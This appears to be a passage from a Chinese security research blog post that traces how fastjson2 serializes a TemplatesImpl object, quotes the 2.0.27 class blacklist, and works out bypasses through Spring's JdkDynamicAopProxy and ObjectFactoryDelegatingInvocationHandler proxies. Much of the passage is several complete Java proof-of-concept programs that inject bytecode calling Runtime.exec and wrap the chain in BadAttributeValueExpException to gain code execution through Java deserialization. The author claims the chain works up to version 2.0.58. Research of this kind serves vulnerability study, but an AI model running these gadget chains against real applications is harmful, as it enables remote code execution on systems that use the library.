图片.png

这里调用了迭代器来获取我们存储在JSONObject中的键值对:

图片.png

然后继续往后面走,可以看到序列化key的地方:

图片.png

当调用了writeString()方法后,这里的chars的值就更改了,这里的writeString()方法就不跟进了,关键点如下:

图片.png

数组的一个copy操作,将value的值copy进chars中。

继续回到JSONWriterUTF16类的write()方法,后续就可以看到对value进行了处理:

图片.png

并且对其进行了获取Class处理并对比,如下一些class对象:

String.class
Integer.class
Long.class
Boolean.class
BigDecimal.class
JSONArray.class
JSONObject.class

毫无疑问都不是和TemplatesImpl相关的,所以最后是到了如下代码:

图片.png

非常熟悉的代码了,就是对TemplatesImpl类进行序列化处理。

跟进Context类的getObjectWriter()方法:

图片.png

可以看到是接收的Type和Class对象的参数,但是传参可以看出来是都传的Class类型的,其实就是因为Class类实现了Type接口而已:

图片.png

然后会调用ObjectWriterProvider类的getObjectWriter()方法:

图片.png

代码如下:

图片.png

毫无疑问当时赋值时就没有对cache作任何处理,并且这个变量是一个final初始化的一个默认的变量,故不能从cache中获取到TemplatesImpl.class的序列化处理类。后面的重点代码如下:

图片.png

前面经过一系列处理,都找不到对应的TemplatesImpl类的,这里就会创建一个序列化类用于序列化相关的类,其次可以看到当成功创建了类过后,就会调用putIfAbsent()方法以键值对的形式放进到cache中,以便后续再次序列化相关类时直接通过get()获取,最后是返回了这个objectWriter序列化类。

跟进getCreator()方法:

图片.png

最后是会返回这个creator变量,这个变量的赋值在类的初始化阶段就完成了,这里简单提一下: 在前面关于ObjectWriterProvider类的初始化,我们是直接调用的无参构造函数:

图片.png

这里就涉及到了有关creator的赋值,调试效果如下:

图片.png

这里的JSONFactory类的常量CREATOR赋值在JSONFactory类的static语句中:

图片.png

所以会直接进入到default语句中从而给creator赋值为ObjectWriterCreatorASM类实例:

图片.png

并且将变量classloader赋值为了DynamicClassLoader类实例:

图片.png

跟进原先的DynamicClassLoader.getInstance(),就是直接获取instance:

图片.png

很符合前面ObjectWriterCreatorASM类初始化变量赋值的条件。

回到ObjectWriterProvider类的getObjectWriter()方法:

图片.png

故会调用ObjectWriterCreatorASM类的createObjectWriter()方法,并且在成功创建后会将其以键值对的形式放入到cache中,以便后续再次调用,并且最后也是返回了创建的objectWriter。跟进ObjectWriterCreatorASM类的createObjectWriter()方法,后续比较关键的就是对于method中的getter的处理,如下代码:

图片.png

这里会先调用BeanUtils类的getters()方法,关键在于如下:

图片.png

先从methodCache中查看是否有缓存的method,没有的话就会调用getMethods()方法来获取到对应类的public方法并将其放入到methodCache中,后续对获取到的方法进行了处理,调用的for循环进行的获取来判断如上图,关键的地方在如下:

图片.png

可以看到是处理了getter方法,一般getter的长度都会大于3,所以这里的nameMatch肯定为true,然后进行了判断,就是取methodName的第四个字母进行判断,要是在a到z之间并且methodName长度为4,就赋值为false,但是从后面逻辑来看这里是需要nameMatch为true的,不然就会continue,并且从这个条件来看也是不容易满足的。

在这里获取到对应的getter方法后,继续往后看,会获取getter方法对应的fileName:

图片.png

再然后就会创建序列化类了:

图片.png

此时的调用栈为:

createFieldWriter:887, ObjectWriterCreator (com.alibaba.fastjson2.writer)
lambda$createObjectWriter$2:377, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
accept:-1, 215219944 (com.alibaba.fastjson2.writer.ObjectWriterCreatorASM$$Lambda$14)
getters:1010, BeanUtils (com.alibaba.fastjson2.util)
createObjectWriter:252, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
getObjectWriter:333, ObjectWriterProvider (com.alibaba.fastjson2.writer)
getObjectWriter:1603, JSONWriter$Context (com.alibaba.fastjson2)
write:2246, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:1090, JSONObject (com.alibaba.fastjson2)
main:33, Main (org.example)

继续跟进createFieldWriter的实现:

图片.png

比较关键的就是这一部分的getInitWriter()方法的调用,由于参数传递,这里的initObjectWriter为null,这段代码先试获取了方法的返回值的类型,然后跟进getInitWriter()的调用:

图片.png

就是判断返回值的Class对象是否符合上述几个Class对象,不符合的话就返回null,而返回null会让后续代码根据返回值的Class对象从而来实例化对应的writer类:

图片.png

比如我这里调试判断的就是getTransletIndex()方法,返回值为int类型,故如上图会实例化FieldWriterInt32Method类,最后将其放入到fieldWriterMap变量中:

图片.png

然而由于我们想要利用的getOutputProperties()方法的返回对象为class java.util.Properties,没有匹配的类,故直接使用的Object类型来进行的调用:

图片.png

再然后可以看到fieldWriterMap的值发生了变化:

图片.png

一切都是有规律的。

这里需要提到一个点,这里的”fieldWriter“类的最终父类都是FieldWriter类,并且在传参时都是给这个父类的值进行赋值,在这里我们需要注意到其中存在一个变量的更替,以getOutputProperties()方法的过程为例:

图片.png

可以看到会对父类进行传参,需要注意这里的类中时自定义了一个变量,field:null,并且其他如前面提到的FieldWriterInt32Method类也是这样的,这个后续有大用,然后就是一直跟进到最顶父类的赋值:

图片.png

——

故事的最后,我们如约获取到了对应的三个getter方法:

图片.png

然后将其转换对象赋值给了fieldWriters并在sort()代码部分进行了重新排序。

前面讲了关于getter方法的处理,其实就是处理一下public的field,从而方便调用它的getter方法。再往后看,就是我们需要的objectWriter类的实例化了:

图片.png

可以看到定义了类名,在多次调试过程中经常出现它的名字,这里也是找到了出处,然后找了包名,这里就是为在内存中生成这个类做准备,定义了类名以及所出包的位置。再后续呢,就是往类中定义了一些方法,然后是<u>实例化了这个类作为objectWriter并返回</u>:

图片.png

这里的诸如genMethodWriteJSONB()方法往OWG_1_3_TemplatesImpl类中去定义方法内的代码,这里的对应情况如下:

调用的方法 实现的OWG_1_3_TemplatesImpl类中的方法
genMethodWriteJSONB() writeJSONB()
genMethodWrite() write()
genMethodWriteArrayMapping() writeArrayMapping()

调试中发现其实在类中定义的这几个方法都可以调用到那几个getter方法,大致流程是差不多的,这里就讲讲write()定义的流程,同时可以搞清楚我们前面弄了这么久的fieldWriters起到了什么作用

跟进genMethodWrite()方法:

图片.png

可以看到定义的方法名称,直接跟进fieldWriters的处理方式:

图片.png

调用了for循环来对fieldWriters中存储的序列化类进行处理,跟进gwFieldValue()方法:

图片.png

会获取到filterWriter的fieldClass,然后进行类型判断:

图片.png

最后还是调用gwFieldValueObject()方法,跟进这个方法中的genGetObject()方法:

图片.png

关键点来了,由于赋值时fieldWriter.field肯定为null,也就是前面提到的,所以这里会将member赋值为对应的getter方法,从而顺理成章调用到visitMethodInsn()方法从而可以往OWG_1_3_TemplatesImpl类的write()方法中写入调用对应getter方法的代码,其他的fieldWriter同理,由于for循环,故流程都是这个,调用栈为:

genGetObject:3339, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
gwFieldValueObject:1840, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
gwFieldValue:1758, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
genMethodWrite:722, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
createObjectWriter:554, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
getObjectWriter:333, ObjectWriterProvider (com.alibaba.fastjson2.writer)
getObjectWriter:1603, JSONWriter$Context (com.alibaba.fastjson2)
write:2246, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:1090, JSONObject (com.alibaba.fastjson2)
main:33, Main (org.example)

再后面就可以通过调用这个类的write()方法从而调用对应序列化类的getter方法达到JSON序列化的目的:

图片.png

但是由于这一个过程是在内存中进行的,也就是没有实际的java文件落地,只能通过监听内存从而获取这个类的内容。

这里可以使用arthas工具,我们需要将运行代码改成如下:

package org.example;

import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        try{
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc", templates);
        jsonObject.toString();
        }catch (Exception e){
            while(true){

            }
    }

    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

众所周知在成功完成一次动态加载字节码后会报错退出,所以我们需要在这里加一个自循环从而让程序不会退出,然后运行并使用arthas工具监听即可:

图片.png

在前面我们已经知道了对应类的包名,也就可以知道它的路径,然后用工具将其反编译出来:

jad com.alibaba.fastjson2.writer.OWG_1_3_TemplatesImpl

然后就可以拿到生成的类了,这里简单截取一些write()方法的代码:

if ((var12_11 = ((TemplatesImpl)var2_2).getOutputProperties()) == null) break block19;
                        var14_12 = var1_1.isRefDetect();
                        if (!var14_12) ** GOTO lbl-1000
                        if (var2_2 == var12_11) {
                            this.fieldWriter0.writeFieldName(var1_1);
                            var1_1.writeReference("..");
                        } else {
                            var13_13 = var1_1.setPath(this.fieldWriter0, (Object)var12_11);
                            if (var13_13 != null) {
                                this.fieldWriter0.writeFieldName(var1_1);
                                var1_1.writeReference(var13_13);
                                var1_1.popPath(var12_11);
                            } else lbl-1000:
                            // 2 sources

                            {
                                this.fieldWriter0.writeFieldName(var1_1);
                                this.fieldWriter0.getObjectWriter(var1_1, var12_11.getClass()).write(var1_1, var12_11, "outputProperties", (Type)Properties.class, 0L);
                            }
                        }
                        break block20;
                    }
                    if ((var8_6 & 16L) != 0L) {
                        this.fieldWriter0.writeFieldName(var1_1);
                        var1_1.writeNull();
                    }
                }
                var15_14 = ((TemplatesImpl)var2_2).getStylesheetDOM();
                if (var15_14 == null) break block21;
                if (var1_1.isIgnoreNoneSerializable(var15_14)) break block22;
                var14_12 = var1_1.isRefDetect();
                if (!var14_12) ** GOTO lbl-1000
                if (var2_2 == var15_14) {
                    this.fieldWriter1.writeFieldName(var1_1);
                    var1_1.writeReference("..");
                } else {
                    var13_13 = var1_1.setPath(this.fieldWriter1, (Object)var15_14);
                    if (var13_13 != null) {
                        this.fieldWriter1.writeFieldName(var1_1);
                        var1_1.writeReference(var13_13);
                        var1_1.popPath(var15_14);
                    } else lbl-1000:
                    // 2 sources

                    {
                        this.fieldWriter1.writeFieldName(var1_1);
                        this.fieldWriter1.getObjectWriter(var1_1, var15_14.getClass()).write(var1_1, var15_14, "stylesheetDOM", this.fieldWriter1.fieldType, 0L);
                    }
                }
                break block22;
            }
            if ((var8_6 & 16L) != 0L) {
                this.fieldWriter1.writeFieldName(var1_1);
                var1_1.writeNull();
            }
        }
        if ((var16_15 = ((TemplatesImpl)var2_2).getTransletIndex()) != 0 || var10_7 == false) {
            this.fieldWriter2.writeInt32(var1_1, var16_15);
        }
        var1_1.endObject();

在这个部分代码中,我们可以看到调用了对应的三个getter方法,顺序是getOutputProperties() => getStylesheetDOM() => getTransletIndex()

从而达到通过调用getter方法获取到对应field值的效果。

至此,在可行版本下序列化的过程调试分析完毕。

绕过限制再次达成攻击

那么官方在2.0.27版本下在哪些方面做了限制导致前面的链子不能执行呢,修改fastjson2的版本来探究一下:

<!-- <https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2> -->
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.27</version>
</dependency>

那么在新的修复中做了哪些改变呢,再次过了一遍了流程,主要做出的改变就是在BeanUtils类的getters()方法中加了一个黑名单:

图片.png

从前面的调试分析中知道BeanUtils#getters()就是一个处理类中的method的非常关键的方法,前后流程对比可以在2.0.27版本中是多了如图的这几行代码,对传参的objectClass进行了判断,也就是对要序列化的类进行了处理,只要符合条件就直接退出了流程的继续,跟进这个ignore()方法:

static boolean ignore(Class objectClass) {
        if (objectClass == null) {
            return true;
        }

        String name = objectClass.getName();
        switch (name) {
            case "javassist.CtNewClass":
            case "javassist.CtNewNestedClass":
            case "javassist.CtClass":
            case "javassist.CtConstructor":
            case "javassist.CtMethod":
            case "org.apache.ibatis.javassist.CtNewClass":
            case "org.apache.ibatis.javassist.CtClass":
            case "org.apache.ibatis.javassist.CtConstructor":
            case "org.apache.ibatis.javassist.CtMethod":
            case "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet":
            case "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl":
            case "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl":
            case "org.apache.wicket.util.io.DeferredFileOutputStream":
            case "org.apache.xalan.xsltc.trax.TemplatesImpl":
            case "org.apache.xalan.xsltc.runtime.AbstractTranslet":
            case "org.apache.xalan.xsltc.trax.TransformerFactoryImpl":
            case "org.apache.commons.collections.functors.ChainedTransformer":
                return true;
            default:
                break;
        }
        return false;
    }

很容易看出这里就是添加了一个黑名单,其中过滤了一些非常关键的如TemplatesImpl、AbstractTranslet类,由于我们传参的类为TemplatesImpl类,匹配到这里的逻辑,导致直接return退出,不会再进行后续的操作。

但是这里还是可以通过动态代理来绕过。

JdkDynamicAopProxy链

这里使用到的类就是JdkDynamicAopProxy类,需要有spring-aop依赖:

<dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-aop</artifactId>
      <version>5.3.19</version>
    </dependency>

我们在jackson不稳定性绕过以及SpringAOP链中都使用到了这个类,是一个功能非常强大的类,这里主要的思路就是利用jackson解决不稳定性的方法来分析利用(个人认为fastjson2不会存在这个不稳定性,因为在成功创建了所有的fieldWriterMap后,还会调用Collections.sort()进行排序,故应该不会存在先后问题错误导致直接退出),然后这里讲讲这里的JdkDynamicAopProxy类的利用点:

这里主要利用的是它的invoke()方法,基本构造就是最初学习时的格式:

图片.png

在这里主要的利用点就是如下代码:

图片.png

只要可控这里的target,并且控制chain为空,那么就可以调用到AopUtils类的invokeJoinpointUsingReflection方法:

图片.png

那么恰巧的是,这些参数是可控的,并且在SpringAOP链的学习中,可以知道我们需要调用AdvisedSupport类addAdvisor()方法来给其变量advisors赋值从而可以满足后续的条件从而可以让这里的chain不为空进入else语句进而继续后续链子的调用,那么在这里正如jackson那个的解决方法一样,直接默认即可让变量advisors为空从而直接让chain为空从而进入if语句,所以只需要控制targetSource.getTarget()返回值对应即可,而这里的AdvisedSupport类有好用的方法:

图片.png

直接用这里的SingletonTargetSource类即可。所以只要在代理对象调用到getOutputProperties(),就会进入到这里的invoke()方法,并且控制getTarget()返回对象为构造好的TemplatesImpl类即可。

简单思路就是如上,并且和jackson调用链绕过的流程可以说非常像,现在我们就需要注意调用fastjson序列化时的过程了,这里我们会利用到动态代理,先来简单看一个本地demo:

图片.png

可以看到对代理类调用getClass()的结果为class com.sun.proxy.$Proxy0,并且再调用getMethods()时的结果是从接口中获取到的方法,也就是Templates.class接口类的中的方法。

所以思路其实很清晰了,这里的proxy又不在黑名单里面,又可以获取到想利用的getter方法,又可以控制TempltesImpl类,所以简单的poc如下:

package org.example;

import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;

import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc", proxyObj);
        jsonObject.toString();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

运行弹出计算机。然后在分析调试的过程中,发现还是和自己分析的过程不一样,重点在BeanUtils#getter()中,如下:

图片.png

这里很容易看出来就是判断这里是否为代理类,如果是的话就获取接口然后再次调用getter方法,当时简单跟了一下以为会判定为false,结果差点就功亏一篑呀,根据调试继续跟进:

跟进isProxyClass()方法:

图片.png

前面会判定为true不奇怪,proxyClassCache变量定义如下:

图片.png

想当然以为containsValue()方法就是看是否包含对应的值,其实并不是,这里会包含,代码比较简单就不跟进了,还是要看类中的代码呀。故这里会进入到if语句中获取对应代理类的接口:

图片.png

后续的过程基本就清楚了,就是让objectClass变为了Templates.class,再次调用getter方法,幸好黑名单里面没有Templates.class,也就对应上了参考文章里说Templates.class没有上黑名单由此想出的这个绕过,然后获取其Method,然后创建fieldWriterMap并调用wirte()方法进行序列化从而触发到JdkDynamicAopProxy类的invoke()方法从而进行命令执行:

图片.png

但是在这里的Proxy.isProxyClass()的判断中,可以注意到这里的if条件。要求interfaces只能为一个,那么我是否可以让interfaces为两个或更多,来让objectClass不会改变,从而在proxy.getClass().getMethods()这里来获取到对应方法并进行后续处理呢,简单尝试如下:

package org.example;

import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;

import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class,AutoCloseable.class}, handler);

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc", proxyObj);
        jsonObject.toString();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

运行同样可以弹出计算机。我这里是在接口处加了一个AutoCloseable.class,让接口获取不再是一个:

图片.png

从而在ignore()判断中返回false:

图片.png

从而继续后续调用链的进行来调用到write()方法。所以从这里来看,至少需要同时ban掉Templates和com.sun.proxy.$Proxy0才能完全禁止反序列化调用链的进行,看后面绕过还用不用得到。

经测试到目前最新的2.0.58版本都能使用只有Templates.class的链子打,就看后续会怎么修复吧。

并且后面版本的fastjson的黑名单变成了hash值计算的结果,而且加密逻辑都在代码中有体现。

最后可以用来序列化攻击的poc如下:

package org.example;

import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc", proxyObj);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field field = bad.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, jsonObject);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

并且两个接口类的也可以用:

package org.example;

import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class,AutoCloseable.class}, handler);

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc", proxyObj);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field field = bad.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, jsonObject);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

————————

ObjectFactoryDelegatingInvocationHandler+JSONObject链

这个类是一个内部类,实现了InvocationHandler和Serializable两个接口,在spring-beans依赖中,而spring-aop中本身就拉入了spring-beans依赖:

图片.png

所以也是可以说spring中都能打的。

跟进这个类的invoke()方法:

图片.png

非常清晰了,只是需要代理类调用getOutputProperties,这个好解决,代理类设置Templates.class接口即可,再看一下是否有可利用的ObjectFactory类,这是一个接口类,但是并没有合适的重写的方法,但是看参考文章,利用了JSONObject类的invoke()方法:

图片.png

这个类也能被代理,跟进它的invoke()方法:

图片.png

先获取方法名,然后方法参数个数,后续跟进的代码应该是如下:

图片.png

可以知道参数个数为0,然后对getter方法进行处理,然后调用get()方法来进行获取值:

图片.png

跟进发现其实就是LinkedHashMap中取值,直接往里面放入一个键值对即可。

最后的poc如下:

package org.example;

import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.beans.factory.ObjectFactory;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        //第一个JSONObject代理
        JSONObject jsonObject0 = new JSONObject();
        jsonObject0.put("object",templates);
        Object proxy0 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},(InvocationHandler)jsonObject0);

        //第二个代理
        Constructor constructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
        constructor.setAccessible(true);
        Object proxy1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler)constructor.newInstance(proxy0));

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc", proxy1);

        //toString
        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field field = bad.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, jsonObject);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }

